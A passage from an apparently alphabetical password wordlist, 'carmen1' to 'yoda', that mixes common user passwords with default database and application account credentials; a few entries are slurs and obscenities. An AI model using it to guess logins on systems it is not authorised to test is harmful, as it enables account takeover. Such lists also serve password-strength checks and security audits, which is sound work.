-carmen1 -carnage -carol -Carol -carol1 -carole -carolina -caroline -carolyn -carrie -carrot -carson -carter -cartman -cascade -casey -casino -Casio -casper -cassandra -cassie -castle -cat -catalina -catalog -catch22 -catdog -catfish -catherine -cathy -catnip -cats -catwoman -cccccc -cct -cdemo82 -cdemo83 -cdemocor -cdemorid -cdemoucb -cdouglas -ce -cecile -cecilia -cedic -celeste -celica -celine -celtic -Celtics -cement -center -centra -central -cesar -cessna -chad -chainsaw -challenge -chameleon -champion -Champs -chance -chandler -chanel -chang -change -changeit -changeme -Changeme -ChangeMe -change_on_install -chantal -chaos -chapman -charger -charity -charles -charlie -Charlie -charlie1 -charlotte -charmed -chat -cheese -cheese1 -chelsea -chelsea1 -cherokee -cherry -cheryl -chess -chester -chester1 -chevelle -chevy -cheyenne -chiara -chicago -chichi -chicken -chicken1 -chico -chiefs -children -china -chinacat -chinook -chip -chiquita -chloe -chocolat -chocolate -chocolate! -chocolate1 -chopper -chouette -chris -Chris -chris1 -chris123 -chris6 -christ -christ1 -christia -christian -christin -christina -christine -christmas -christoph -christopher -christy -chronos -chuck -church -cicero -cids -cinder -cindy -cindy1 -cinema -cinnamon -circuit -cirque -cirrus -cis -cisinfo -civic -civil -claire -clancy -clapton -clark -clarkson -class -classic -classroom -claude -claudel -claudia -clave -clayton -cleo -cleopatra -clerk -cliff -clifford -clinton -clipper -clock -cloclo -cloth -clueless -clustadm -cluster -cn -cobain -cobra -cocacola -cock -coco -coconut -codename -codeword -cody -coffee -coke -colette -colleen -college -collins -color -colorado -colors -colt45 -coltrane -columbia -comet -commander -company -compaq -compiere -compton -computer -Computer -computer1 -concept -concorde -confused -connect -connie -connor -conrad -consuelo -consumer -content -control -controller -cook -cookie -cookie1 -cookies -cooking -cool -coolbean -cooper -cooter -copper -cora -cordelia -corky -cornflake -corona -corrado -corvette -corwin -cosmo -cosmos -cotton -cougar -Cougar -cougars -counter -country -courier -courtney -cowboy -cowboys -cows -coyote -crack1 -cracker -craig -crawford -crazy -cream -creation -creative -Creative -crescent -cricket -crimson -cristian -cristina -cross -crow -crowley -crp -cruise -crusader -crystal -cs -csc -csd -cse -csf -csi -csl -csmig -csp -csr -css -cthulhu -ctxdemo -ctxsys -cua -cuda -cuddles -cue -cuervo -cuf -cug -cui -cumming -cumshot -cun -cunningham -cunt -cup -cupcake -current -curtis -Curtis -cus -customer -cutie -cutlass -cyber -cyclone -cynthia -cyrano -cz -daddy -daedalus -dagger -dagger1 -daily -daisie -daisy -dakota -dale -dallas -damien -dammit -damogran -dan -dana -dance -dancer -danger -daniel -Daniel -daniel1 -daniela -danielle -danny -dantheman -daphne -dark1 -Darkman -darkness -darkside -darkstar -darling -darren -darryl -darwin -dasha -data1 -database -datatrain -dave -david -david1 -davids -dawn -daytek -dbsnmp -dbvision -dddddd -dead -deadhead -dean -death -debbie -deborah -december -decker -deedee -deeznuts -def -default -defender -delano -delete -deliver -dell -delta -demo -demo8 -demo9 -demon -denali -denis -denise -Denise -dennis -denny -denver -depeche -derek -des -des2k -desert -design -designer -desire -deskjet -desktop -destiny -detroit -deutsch -dev2000_demos -devil -devine -devon -dexter -dharma -diablo -diamond -diamonds -diana -diane -dianne -dick -dickens -dickhead -diesel -digger -digital -dilbert -dillweed -dim -dingdong -dinosaur -dip -dipper -director -dirk -dirty -disco -discoverer_admin -discovery -disney -dixie -dixon -dmsmcb -dmsys -dmz -doc -doctor -dodger -dodgers -dog -dogbert -doggie -doggy -doitnow -dollar -dollars -dolly -dolphin -dolphins -domain -dominic -dominique -domino -don -donald -donkey -donna -dontknow -doogie -dookie -doom -doom2 -doors -dork -dorothy -doudou -doug -dougie -douglas -download -downtown -dpfpass -draft -dragon -Dragon -dragon1 -dragonfly -dragons -dreamer -dreams -dreamweaver -driver -drowssap -drpepper -drummer -dsgateway -dssys -d_syspw -d_systpw -dtsp -ducati -duck -duckie -dude -dudley -duke -dumbass -duncan -dundee -dusty -dutch -dutchess -dwight -dylan -e -eaa -eagle -eagle1 -eagles -Eagles -eam -east -easter -eastern -ec -eclipse -ecx -eddie -edith -edmund -eduardo -edward -eeyore -effie -eieio -eight -einstein -ejb -ejsadmin -ejsadmin_password -elaine -electric -element -elephant -elijah -elina1 -elissa -elite -elizabet -elizabeth -Elizabeth -elizabeth1 -ella -ellen -elliot -elsie -elvis -e-mail -emerald -emily -eminem -emmanuel -emmitt -emp -empire -enamorada -energy -eng -engage -engineer -england -english -eni -enigma -enjoy -enter -enterprise -entropy -eric -eric1 -erin -ernie1 -erotic -escape -escort -escort1 -estefania -estelle -esther -Esther -estore -estrella -eternity -etoile -eugene -europe -evelyn -event -everton -evm -example -excalibur -excel -exchadm -exchange -exfsys -explore -explorer -export -express -extdemo -extdemo2 -extreme -eyal -fa -faculty -faggot -fairview -faith -faithful -falcon -family -Family -family1 -fantasia -fantasy -farmer -farout -farside -fatboy -fatcat -father -fatima -faust -fdsa -fearless -february -feedback -felicidad -felipe -felix -fem -fender -fenris -ferguson -fernando -ferrari -ferret -ferris -fiction -fidel -Figaro -fighter -fii -files -finance -finger -finprod -fiona -fire -fireball -firebird -firefly -fireman -firenze -first -fish -fish1 -fisher -Fisher -fishes -fishhead -fishie -fishing -Fishing -fktrcfylh -flamingo -flanders -flash -fletch -fletcher -fleurs -flight -flip -flipper -flm -florence -florida -florida1 -flower -flowerpot -flowers -floyd -fluffy -fluffy1 -flute -fly -flyboy -flyer -flyers -fnd -fndpub -foobar -foofoo -fool -footbal -football -football1 -ford -forest -forever -forever1 -forget -Fortune -forum -forward -foster -fountain -fox -foxtrot -fozzie -fpt -france -francesco -francine -francis -francisco -francois -frank -franka -frankie -franklin -freak1 -fred -freddie -freddy -Freddy -frederic -free -freebird -freedom -freedom1 -freeman -freepass -freeuser -french -french1 -friday -Friday -friend -friends -Friends -friends1 -frisco -fritz -frm -frodo -frog -frogfrog -froggie -froggies -froggy -frogs -front242 -Front242 -frontier -frosty -fte -ftp -fubar -fuck -fucked -fucker -fuckface -fucking -fuckme -fuckoff -fucku -fuckyou -fuckyou! -Fuckyou -FuckYou -fuckyou1 -fuckyou2 -fugazi -fun -funguy -funtime -futbol -futbol02 -future -fuzz -fv -fylhtq -gabby -gabriel -gabriela -gabriell -gaby -gaelic -galaxy -galileo -galina -galore -gambit -gambler -games -gammaphi -gandalf -Gandalf -gangster -garcia -garden -garfield -garfunkel -gargoyle -garlic -garnet -garou324 -garrett -garth -gary -gasman -gaston -gateway -gateway2 -gatito -gator -gator1 -gators -gemini -general -genesis -genius -george -george1 -georgia -gerald -german -germany -germany1 -geronimo -Geronimo -getout -gfhjkm -ggeorge -ghbdtn -ghost -giants -gibbons -gibson -gigi -gilbert -gilgamesh -gilles -ginger -Gingers -giovanni -girl -girls -giselle -gizmo -Gizmo -gizmodo -gl -glenn -glider1 -global -gloria -gma -gmd -gme -gmf -gmi -gml -gmoney -gmp -gms -go -goat -goaway -goblin -goblue -gocougs -goddess -godfather -godisgood -godiva -godslove -godzilla -goethe -gofish -goforit -gold -goldberg -golden -Golden -goldfish -goldie -golf -golfer -gollum -gone -goober -Goober -good -goodluck -good-luck -goofy -google -goose -gopher -gordon -gorilla -gpfd -gpld -gr -grace -gracie -graham -gramps -grandma -grant -graphic -grateful -gravis -gray -graymail -great -greed -green -green1 -greenday -greenday1 -greg -greg1 -gregory -gremlin -greta -gretchen -Gretel -gretzky -griffin -grizzly -groovy -grover -grumpy -guardian -guess -guest -guido -guinness -guitar -guitar1 -gumby -gunner -gustavo -h2opolo -hacker -Hacker -hades -haggis -haha -hahaha -hailey -hal -hal9000 -halloween -hallowell -hamid -hamilton -hamlet -hammer -Hammer -hamster -handsome -hank -hanna -hannah -hannibal -hannover23 -hansolo -hanson -happiness -happy -happy1 -happy123 -happyday -hard -hardcore -harley -Harley -HARLEY -harley1 -harmony -haro -harold -harriet -harris -harrison -harry -harvard -harvey -hawaii -hawk -hawkeye -hawkeye1 -hazel -hcpark -health -health1 -heart -heather -Heather -heather1 -heather2 -heaven -hector -hedgehog -heidi -heikki -helen -helena -helene -hell -hellfire -hello -Hello -hello1 -hello123 -hello8 -hellohello -help -help123 -helper -helpme -hendrix -Hendrix -henry -Henry -hentai -herbert -hercules -herman -hermes -hermosa -Hershey -herzog -heythere -highland -hilbert -hilda -hillary -hiphop -histoire -history -hithere -hitler -hitman -hlw -hobbes -hobbit -hockey -hockey1 -hola -holiday -holland -hollister1 -holly -hollywood -home -home123 -homebrew -homer -Homer -homerj -honda -honda1 -honey -hongkong -hoops -hoosier -hooters -hootie -hope -horizon -hornet -horney -horny -horse -horses -hosehead -hotdog -hotmail -hotrod -hottie -house -houston -howard -hr -hri -huang -hudson -huey -hugh -hugo -hummer -hunter -hunting -huskies -hvst -hxc -hxt -hydrogen -i -ib6ub9 -iba -ibanez -ibe -ibp -ibu -iby -icdbown -icecream -iceman -icx -idemo_user -idiot -idontknow -ieb -iec -iem -ieo -ies -ieu -iex -if6was9 -iforget -ifssys -igc -igf -igi -igs -iguana -igw -ihateyou -ihavenopass -ikebanaa -iknowyoucanreadthis -ilmari -iloveu -iloveu1 -iloveyou -iloveyou! -iloveyou. -iloveyou1 -iloveyou2 -iloveyou3 -image -imageuser -imagine -imc -imedia -immortal -impact -impala -imperial -imt -indian -indiana -indigo -indonesia -inferno -infinity -info -informix -ingvar -insane -inside -insight -instance -instruct -integra -integral -intern -internet -Internet -intranet -intrepid -inv -invalid -invalid password -iomega -ipa -ipd -iplanet -ireland -irene -irina -iris -irish -irmeli -ironman -isaac -isabel -isabella -isabelle -isc -island -israel -italia -italy -itg -iwantu -izzy -j0ker -j1l2t3 -ja -jack -jackass -jackie -jackie1 -jackson -Jackson -jacob -jaguar -jake -jakey -jamaica -james -james1 -jamesbond -jamie -jamies -jamjam -jan -jane -Janet -janice -january -japan -jared -jasmin -jasmine -jason -jason1 -jasper -javier -jazz -je -jean -jeanette -jeanne -Jeanne -jedi -jeepster -jeff -jeffrey -jeffrey1 -jenifer -jenni -jennie -jennifer -Jennifer -jenny -jenny1 -jensen -jer -jer2911 -jeremiah -jeremy -jericho -jerome -jerry -Jersey -jesse -jesse1 -jessica -Jessica -jessica1 -jessie -jester -jesus -jesus1 -jesusc -jesuschrist -jethro -jethrotull -jetspeed -jetta1 -jewels -jg -jim -jimbo -jimbob -jimi -jimmy -jjjjjj -jkl123 -jkm -jl -jmuser -joanie -joanna -Joanna -joanne -joe -joel -joelle -joey -johan -johanna1 -john -john316 -johnny -johnson -Johnson -jojo -joker -joker1 -jonathan -jordan -Jordan -jordan1 -jordan23 -jordie -jorge -jorgito -josee -joseph -josh -joshua -Joshua -joshua1 -josie -journey -joy -joyce -JSBach -jtf -jtm -jts -jubilee -judith -judy -juhani -juice -jules -julia -julia2 -julian -julie -julie1 -julien -juliet -julius -jumanji -jumbo -jump -junebug -jungle -junior -juniper -jupiter -jussi -justdoit -justice -justice4 -justin -justin1 -justine -juventus -kaiser -kakaxaqwe -kakka -kalamazo -kali -kamikaze -kangaroo -karate -karen -karen1 -karin -karina -karine -karma -kat -kate -katerina -katherine -kathleen -kathy -katie -Katie -katie1 -katrina -kawasaki -kayla -kcin -keeper -keepout -keith -keith1 -keller -kelly -kelly1 -kelsey -kelson -kendall -kennedy -kenneth -kenny -kerala -kermit -kerrya -ketchup -kevin -kevin1 -kevinn -keyboard -khan -kidder -kids -killer -Killer -KILLER -kim -kimberly -king -kingdom -kingfish -kingkong -kings -kingston -kirill -kirk -kissa2 -kissme -kitkat -kitten -Kitten -kitty -kittycat -kiwi -kkkkkk -klaster -kleenex -knicks -knight -Knight -koala -koko -kombat -kramer -kris -krishna -kristen -kristi -kristin -kristina -kristine -kwalker -l2ldemo -lab1 -labrador -labtec -lacrosse -laddie -ladies -lady -ladybug -lakers -lalala -lambda -lamer -lance -lancelot -lancer -larry -larry1 -laser -laserjet -laskjdf098ksdaf09 -lassie1 -lasvegas -laura -laurel -lauren -laurie -law -lawrence -lawson -lawyer -lbacsys -leader -leaf -leather -leblanc -ledzep -lee -legal -legend -legolas -leland -lemmein -lemon -leo -leon -leonard -leonardo -leopard -leslie -lestat -lester -letitbe -letmein -letter -letters -lev -lexus1 -libertad -liberty -Liberty -libra -library -life -lifehack -light -lightning -lights -lima -lincoln -linda -lindsay -Lindsay -lindsey -lionel -lionking -lions -lisa -lissabon -little -liverpoo -liverpool -liverpool1 -liz -lizard -Lizard -lizzy -lloyd -logan -logger -logical -login -Login -logitech -logos -loislane -loki -lol123 -lola -lolita -lollipop -london -lonely -lonestar -longer -longhorn -looney -loren -lorenzo -lori -lorna -lorraine -lorrie -loser -loser1 -lost -lotus -lou -louis -louise -loulou -love -love123 -lovelove -lovely -loveme -loveme1 -lover -loverboy -lovers -loveyou -loveyou1 -loving -lucas -lucia -lucifer -lucky -lucky1 -lucky14 -lucy -lulu -lynn -m -m1911a1 -mac -macha -macintosh -macromedia -macross -macse30 -maddie -maddog -madeline -Madeline -madison -madman -madmax -madoka -madonna -madrid -maggie -magic -magic1 -magnolia -magnum -maiden -mail -mailer -mailman -maine -major -majordomo -makeitso -malcolm -malibu -mallard -mallorca -manag3r -manageme -manager -manchester -manolito -manprod -manson -mantra -manuel -manutd -marathon -marc -marcel -marcus -margaret -Margaret -margarita -maria -maria1 -mariah -mariah1 -marian -mariana -marianne -marie -marie1 -marielle -marilyn -marina -marine -mariner -marines -marino -mario -marion -mariposa -mark -mark1 -market -markus -marlboro -marley -mars -marshall -mart -martha -martin -martin1 -martina -martinez -martini -marty -marvin -mary -maryjane -master -Master -master1 -masters -math -matrix -matt -matthew -Matthew -matthew1 -matti1 -mattingly -maurice -maverick -max -maxime -maximus -maxine -maxmax -maxwell -Maxwell -mayday -mazda1 -mddata -mddemo -mddemo_mgr -mdsys -me -meatloaf -mech -mechanic -media -medical -megan -meggie -meister -melanie -melina -melissa -Mellon -melody -member -memory -memphis -menace -mensuck -meow -mercedes -mercer -mercury -merde -meredith -merlin -merlot -Merlot -mermaid -merrill -messenger -metal -metallic -Metallic -metallica -mexico -mfg -mgr -mgwuser -miami -miamor -michael -Michael -michael1 -michaela -michal -michel -Michel -Michel1 -michele -michelle -Michelle -michigan -michou -mickel -mickey -mickey1 -micro -microsoft -midnight -midori -midvale -midway -migrate -miguel -miguelangel -mikael -mike -mike1 -mikey -miki -milano -miles -millenium -miller -millie -million -mimi -mindy -mine -minecraft -minnie -minou -miracle -mirage -miranda -miriam -mirror -misha -mishka -mission -missy -mistress -misty -mitch -mitchell -mmm -mmmmmm -mmo2 -mmo3 -mmouse -mnbvcxz -mobile -mobydick -modem -mohammed -moikka -mojo -mokito -molly -molly1 -molson -mom -monday -Monday -monet -money -Money -money1 -money159 -mongola -monica -monika -monique -monisima -monitor -monkey -monkey1 -monopoly -monroe -monster -Monster -montana -montana3 -montreal -Montreal -montrose -monty -moocow -mookie -moomoo -moon -moonbeam -moonlight -moore -moose -mopar -moreau -morecats -morenita -morgan -moroni -morpheus -morris -morrison -mort -mortimer -mot_de_passe -mother -motherfucker -motor -motorola -mountain -mouse -mouse1 -movie -movies -mowgli -mozart -mrp -msc -msd -mso -msr -mt6ch5 -mtrpw -mts_password -mtssys -muffin -mulder -mulder1 -multimedia -mumblefratz -munchkin -murphy -murray -muscle -mushroom -music -mustang -mustang1 -mwa -mxagent -mylove -mypass -mypassword -mypc123 -myriam -myself -myspace1 -mystery -nadia -nadine -naked -names -nana -nanacita -nancy -naomi -napoleon -naruto -nascar -nat -natalia -nataliag -natalie -natasha -natation -nathan -nation -national -naub3. -naughty -nautica -ncc1701 -NCC1701 -ncc1701d -ncc1701e -ne1410s -ne1469 -ne14a69 -nebraska -negrita -neil -neko -nellie -nelson -nemesis -neotix_sys -neptune -nermal -nesbit -nesbitt -nestle -netware -network -neutrino -new -newaccount -newcastle -newcourt -newlife -newpass -newport -news -newton -Newton -newuser -newyork -newyork1 -nexus6 -nguyen -nicarao -nicasito -nicholas -Nicholas -nichole -nick -nicklaus -nicolas -nicole -nicole1 -nigel -nigger -nigger1 -nightmare -nightshadow -nightwind -nike -niki -nikita -nikki -nimda -nimrod -nina -niners -ninja -nintendo -nipple -nipples -nirvana -nirvana1 -nissan -nisse -nite -nneulpass -nobody -nokia -nomeacuerdo -nomore -none -none1 -nonono -nopass -nopassword -Noriko -normal -norman -norton -notebook -notes -nothing -notta1 -notused -nouveau -novell -november -noviembre -noway -nuevopc -nugget -number1 -number9 -numbers -nurse -nutmeg -oas_public -oatmeal -oaxaca -obiwan -oblivion -obsession -ocean -ocitest -ocm_db_admin -october -October -odm -ods -odscommon -ods_server -oe -oemadm -oemrep -oem_temp -office -ohshit -oicu812 -okb -okc -oke -oki -oklahoma -oko -okr -oks -oksana -okx -olapdba -olapsvr -olapsys -olive -oliver -olivia -olivier -ollie -olsen -omega -one -online -ont -oo -open -openspirit -openup -opera -operator -opi -opus -oracache -oracl3 -oracle -oracle8 -oracle8i -oracle9 -oracle9i -oradbapass -orange -orange1 -oranges -oraprobe -oraregsys -orasso -orasso_ds -orasso_pa -orasso_ps -orasso_public -orastat -orchid -ordcommon -ordplugins -ordsys -oregon -oreo -original -orion -orlando -orville -oscar -osiris -osm -osp22 -ota -otalab -otter -ou812 -OU812 -outlaw -outln -overkill -overlord -owa -owa_public -owf_mgr -owner -oxford -ozf -ozp -ozs -ozzy -pa -pa55word -paagal -pacers -pacific -packard -packer -packers -packrat -paint -painter -pakistan -Paladin -paloma -pam -pamela -Pamela -pana -panama -panasonic -pancake -panda -panda1 -pandora -panic -pantera -panther -panthers -panties -panzer -papa -paper -papito -paradigm -paradise -paramo -paris -parisdenoia -park -parker -parol -parola -parrot -partner -pascal -pasion -pass -pass1 -pass12 -pass123 -pass1234 -passion -passport -passw0rd -Passw0rd -passwd -passwo1 -passwo2 -passwo3 -passwo4 -password -password! -password. -Password -PASSWORD -password1 -Password1 -password12 -password123 -password2 -password3 -passwort -pastor -pat -patches -patience -patoclero -patricia -patrick -patriots -patrol -patton -paul -paula -pauline -paulis -pavel -pavilion -payton -peace -peach -peaches -Peaches -peanut -peanuts -Peanuts -pearl -pearljam -pebbles -pedro -pedro1 -peekaboo -peewee -pegasus -peggy -pekka -pelirroja -pencil -pendejo -penelope -penguin -penis -penny -pentium -Pentium -people -pepper -Pepper -pepsi -percy -perfect -performa -perfstat -pericles -perkele -perlita -perros -perry -person -personal -perstat -petalo -pete -peter -Peter -peter1 -peterk -peterpan -petey -petunia -phantom -phialpha -phil -philip -philips -phillip -phillips -phish -phishy -phoebe -phoenix -Phoenix -phoenix1 -phone -photo -photoshop -phpbb -piano -piano1 -pianoman -pianos -picard -picasso -pickle -picture -pierce -pierre -piff -pigeon -piglet -Piglet -pimpin -pineapple -pingpong -pink -pinkfloyd -piolin -pioneer -pipeline -piper1 -pirate -pisces -piscis -pit -pizza -pjm -planet -planning -platinum -plato -play -playboy -player -players -playstation -please -plex -plus -pluto -pm -pmi -pn -po -po7 -po8 -poa -poetic -poetry -poison -poiuyt -pokemon -polar -polaris -pole -police -polina -politics -polo -pom -pomme -pontiac -poohbear -poohbear1 -pookey -pookie -Pookie -pookie1 -poonam -poop -poopoo -popcorn -pope -popeye -poppy -porn -porno -porque -porsche -porsche911 -portal30 -portal30_admin -portal30_demo -portal30_ps -portal30_public -portal30_sso -portal30_sso_admin -portal30_sso_ps -portal30_sso_public -portal31 -portal_demo -portal_sso_ps -porter -portland -portugal -pos -potato -potter -power -powercartuser -powers -ppp -PPP -pppppp -praise -prayer -precious -predator -prelude -premier -presario -preston -pretty -primary -primus -prince -princesa -princess -Princess -princess1 -print -printer -printing -private -prodigy -prof -prometheus -property -protel -provider -psa -psalms -psb -psp -psycho -pub -public -pubsub -pubsub1 -puddin -pukayaco14 -pulgas -pulsar -pumpkin -punkin -puppy -purple -Purple -pussies -pussy -pussy1 -pussycat -pv -pw123 -pyramid -pyro -python -q1w2e3 -q1w2e3r4 -q1w2e3r4t5 -qa -qazwsx -qazwsxedc -qazxsw -qdba -qosqomanta -qp -qqq111 -qqqqq -qqqqqq -qs -qs_adm -qs_cb -qs_cbadm -qs_cs -qs_es -qs_os -qs_ws -quality -quebec -queen -queenie -quentin -querty -quest -qwaszx -qwe123 -qweasd -qweasdzxc -qweewq -qweqwe -qwer -qwer1234 -qwert -Qwert -qwerty -Qwerty -qwerty1 -qwerty12 -qwerty123 -qwerty80 -qwertyu -qwertyui -qwertyuiop -qwewq -r0ger -rabbit -Rabbit -rabbit1 -racer -racerx -rachel -rachelle -racing -racoon -radar -radio -rafael -rafaeltqm -rafiki -raider -raiders -Raiders -rain -rainbow -Raistlin -raleigh -rallitas -ralph -ram -rambo -rambo1 -rancid -random -Random -randy -randy1 -ranger -rangers -raptor -rapture -raquel -rascal -rasdzv3 -rasta1 -rastafarian -ratio -raven -ravens -raymond -razz -re -reality -realmadrid -reaper -rebecca -Rebecca -red -red123 -redcloud -reddog -redfish -redhead -redman -redrum -redskins -redsox -redwing -redwings -redwood -reed -reggae -reggie -regina -rejoice -reliant -remember -remote -rene -renee -renegade -repadmin -replicate -reports -rep_owner -reptile -republic -republica -requiem -rescue -research -revolution -rex -reynolds -reznor -rg -rghy1234 -rhino -rhjrjlbk -rhonda -rhx -ricardo -ricardo1 -richard -richard1 -richards -richmond -ricky -riley -ripper -ripple -rita -river -rla -rlm -rmail -rman -roadrunner -rob -robbie -robby -robert -Robert -robert1 -roberto -roberts -robin -robinhood -robinson -robocop -robotech -robotics -roche -rock -rocker -rocket -rocket1 -rockie -rocknroll -rockon -rockstar -rocky -rocky1 -rodeo -rodney -roger -roger1 -rogers -roland -rolex -roller -rolltide -roman -romantico -rommel -ronald -ronaldo -roni -ronica -ronnie -rookie -rooster -root123 -rootbeer -rootroot -rosario -rose -rosebud -rosemary -roses -rosie -rosita -rossigno -rouge -route66 -roxy -roy -royal -rrs -ruby -rufus -rugby -rugger -runner -running -rush -rush2112 -ruslan -russell -Russell -russia -rusty -ruth -ruthie -ruthless -ryan -sabbath -sabina -sabrina -sadie -safety -safety1 -saigon -sailing -sailor -saint -saints -sakura -salasana -sales -sally -salmon -salou25 -salut -salvador -salvation -sam -samantha -samiam -samIam -sammie -sammy -Sammy -sample -sampleatm -sampson -samsam -samson -samsung -samuel -samuel22 -samurai -sandi -sandman -sandra -sandy -sanjose -santa -santiago -santos -sap -saphire -sapphire -sapr3 -sarah -sarah1 -sarita -sasha -saskia -sassy -satori -saturday -saturn -Saturn -saturn5 -savage -savannah -sbdc -scarecrow -scarface -scarlet -scarlett -schnapps -school -science -scooby -scooby1 -scoobydoo -scooter -scooter1 -scorpio -scorpion -scotch -scotland -scott -scott1 -scottie -scotty -scout -scouts -scrooge -scruffy -scuba -scuba1 -sdos_icsap -seagate -sean -search -seattle -sebastian -secdemo -secret -secret3 -secure -security -seeker -semperfi -senha -seoul -september -septiembre -serega -serena -serenity -sergei -sergey -sergio -servando -server -service -Service -serviceconsumer1 -services -sestosant -seven -seven7 -sex -sexsex -sexy -sh -shadow -Shadow -shadow1 -shaggy -shalom -shamrock -shanghai -shannon -shanny -shanti -shaolin -share -shark -sharon -shasta -shaved -shawn -shayne -shazam -sheba -sheena -sheila -shelby -shelley -shelly -shelter -shelves -sherlock -sherry -ship -shirley -shit -shithead -shoes -shogun -shopping -shorty -shorty1 -shotgun -Sidekick -sidney -siemens -sierra -Sierra -sigmachi -signal -signature -si_informtn_schema -silver -silvia -simba -simba1 -simon -simone -simple -simpson -simpsons -simsim -sinatra -sinegra -singer -single -sirius -sister -sister12 -siteminder -skate -skater -skeeter -Skeeter -skibum -skidoo -skiing -skip -skipper -skipper1 -skippy -skittles -skull -skunk -skydive -skyler -skyline -skywalker -slacker -slayer -sleepy -slick -slidepw -slider -slip -slipknot -slipknot666 -slut -smashing -smegma -smile -smile1 -smiles -smiley -smith -smiths -smitty -smoke -smokey -Smokey -smooth -smurfy -snake -snakes -snapper -snapple -snickers -sniper -snoop -snoopdog -snoopy -Snoopy -snoopy1 -snow -snowball -snowfall -snowflake -snowman -snowski -snuffy -sober1 -soccer -soccer1 -soccer2 -socrates -softball -software -soledad -soleil -solomon -something -sonic -sonics -sonny -sonrisa -sony -sophia -sophie -soto -sound -soyhermosa -space -spain -spanky -sparkle -sparks -sparky -Sparky -sparrow -spartan -spazz -speaker -special -spectrum -speedo -speedy -Speedy -spencer -sphynx -spider -spiderma -spiderman -spierson -spike -spike1 -spirit -spitfire -spock -sponge -spooky -spoon -sports -spot -spring -sprite -sprocket -spunky -spurs -sql -sqlexec -squash -squirrel -squirt -srinivas -ssp -sss -ssssss -stacey -stalker -stan -standard -stanley -star -star69 -starbuck -starcraft -stardust -starfish -stargate -starlight -stars -start -starter -startrek -starwars -station -stealth -steel -steele -steelers -stefan -stella -steph -steph1 -stephani -stephanie -stephen -stephi -sterling -Sterling -steve -steve1 -steven -Steven -steven1 -stevens -stewart -sticky -stimpy -sting -sting1 -stingray -stinky -stivers -stocks -stone -stones -storage -storm -stormy -stranger -strat -strato -strat_passwd -strawberry -street -stretch -strike -strong -stuart -stud -student -student2 -studio -stumpy -stupid -sublime -success -sucker -suckit -suckme -sudoku -sue -sugar -sullivan -sultan -summer -Summer -summer1 -summit -sumuinen -sun -sunbird -sundance -sunday -sunfire -sunflower -sunny -sunny1 -sunrise -sunset -sunshine -Sunshine -super -superfly -superman -Superman -superman1 -supersecret -superstar -superuser -supervisor -support -supra -surf -surfer -surfing -susan -susan1 -susana -susanna -sutton -suzanne -suzuki -suzy -Sverige -svetlana -swanson -sweden -sweet -sweetheart -sweetie -sweetpea -sweety -swim -swimmer -swimming -switzer -Swoosh -swordfis -swordfish -swpro -swuser -sydney -sylvester -sylvia -sylvie -symbol -sympa -sys -sysadm -sysadmin -sysman -syspass -sys_stnt -system -system5 -systempass -tab -tabatha -tacobell -taffy -tahiti -taiwan -talon -tamara -tammy -tamtam -tango -tanner -tanya -tapani -tara -targas -target -tarheel -tarzan -tasha -tata -tattoo -taurus -Taurus -taylor -Taylor -taylor1 -tazdevil -tbird -t-bone -tdos_icsap -teacher -tech -techno -tectec -teddy -teddy1 -teddybear -teens -teflon -tekila -telecom -telefono -telephone -temp -temp! -temp123 -temporal -temporary -temptemp -tenerife -tennis -Tennis -tequiero -tequila -teresa -terminal -terminator -terry -terry1 -test -test! -test1 -test123 -test2 -test3 -tester -testi -testing -testpass -testpilot -testtest -test_user -texas -thailand -thankyou -the -theatre -thebest -theboss -theend -thejudge -theking -thelorax -theman -theodore -theresa -Theresa -therock -thinsamplepw -thisisit -thomas -Thomas -thompson -thorne -thrasher -thumper -thunder -Thunder -thunderbird -thursday -thx1138 -tibco -tierno -tiffany -tiger -tiger2 -tigers -tigger -Tigger -tigger1 -tightend -tigre -tika -tim -timber -time -timosha -timosha123 -timothy -tina -tinker -tinkerbell -tintin -tip37 -titanic -titimaman -titouf59 -tits -tivoli -tnt -tobias -toby -today -tokyo -tom -tomato -tomcat -tommy -tomtom -tony -tool -tootsie -topcat -topgun -topher -tornado -toronto -toshiba -total -toto1 -tototo -toucan -toyota -trace -tracy -training -transfer -transit -transport -trapper -trash -travel -travis -tre -treasure -trebor -tree -trees -trek -trevor -tricia -tricky -trident -trigger -trinidad -trinity -trish -tristan -triton -trixie -trojan -trombone -trooper -trophy -trouble -trout -truck -trucker -truelove -truman -trumpet -trustno1 -tsdev -tsuser -tucker -tucson -tuesday -Tuesday -tula -turbine -turbo -turbo2 -turkey -turner -turtle -tweety -tweety1 -twilight -twins -twister -twitter -tybnoq -tyler -tyler1 -ultimate -um_admin -um_client -undead -undertaker -underworld -unicorn -unicornio -unique -united -unity -universal -universe -universidad -unix -unknown -upsilon -ursula -user -user0 -user1 -user2 -user3 -user4 -user5 -user6 -user7 -user8 -user9 -Usuckballz1 -utility -utlestat -utopia -vacation -vader -vagina -val -valencia -valentin -valentina -valentinchoque -valentine -valerie -valeverga -valhalla -valley -vampire -vanessa -vanilla -vea -vedder -vegeta -veh -velo -velvet -venice -venus -veracruz -veritas -vermont -Vernon -veronica -vertex_login -vette -vfhbyf -vfrcbv -vicki -vicky -victor -victor1 -victoria -Victoria -victory -video -videouser -vif_dev_pwd -viking -vikings -vikram -vincent -Vincent -vincent1 -violet -violin -viper -viper1 -virago -virgil -virgin -virginia -virus -viruser -visa -vision -visual -vivian -vladimir -volcano -volley -volvo -voodoo -vortex -voyager -vrr1 -vrr2 -waiting -walden -waldo -walker -wallace -walleye -wally -walter -wanker -warcraft -warlock -warner -warren -warrior -warriors -washington -water -water1 -Waterloo -watson -wayne -wayne1 -weasel -web -webcal01 -webdb -webmaster -webread -webster -Webster -wedge -weezer -welcome -welcome1 -welcome123 -wendy -wendy1 -werewolf -wesley -west -western -westside -wfadmin -wh -whale1 -whatever -wheels -whisky -whit -white -whitney -whocares -whoville -wibble -wicked -wiesenhof -wilbur -wildcat -wildcats -will -william -william1 -williams -willie -willow -Willow -willy -wilma -wilson -win95 -wind -window -windows -Windows -windsurf -winner -winnie -Winnie -winniethepooh -winona -winston -winter -wip -wisdom -wizard -wkadmin -wkproxy -wksys -wk_test -wkuser -wms -wmsys -wob -wolf -wolf1 -wolfgang -wolfpack -wolverin -wolverine -Wolverine -wolves -wombat -wombat1 -women -wonder -wood -Woodrow -woody -woofwoof -word -wordpass -work123 -world -World -worship -wps -wrangler -wrestling -wright -writer -writing -wsh -wsm -www -wwwuser -xademo -xanadu -xanth -xavier -xcountry -xdp -xfiles -x-files -ximena -ximenita -xla -x-men -xnc -xni -xnm -xnp -xns -xprt -xtr -xxx -xxx123 -xxxx -xxxxx -xxxxxx -xxxxxxxx -xyz -xyz123 -y -yamaha -yankee -yankees -yankees1 -yellow -yes -yeshua -yfnfif -yoda 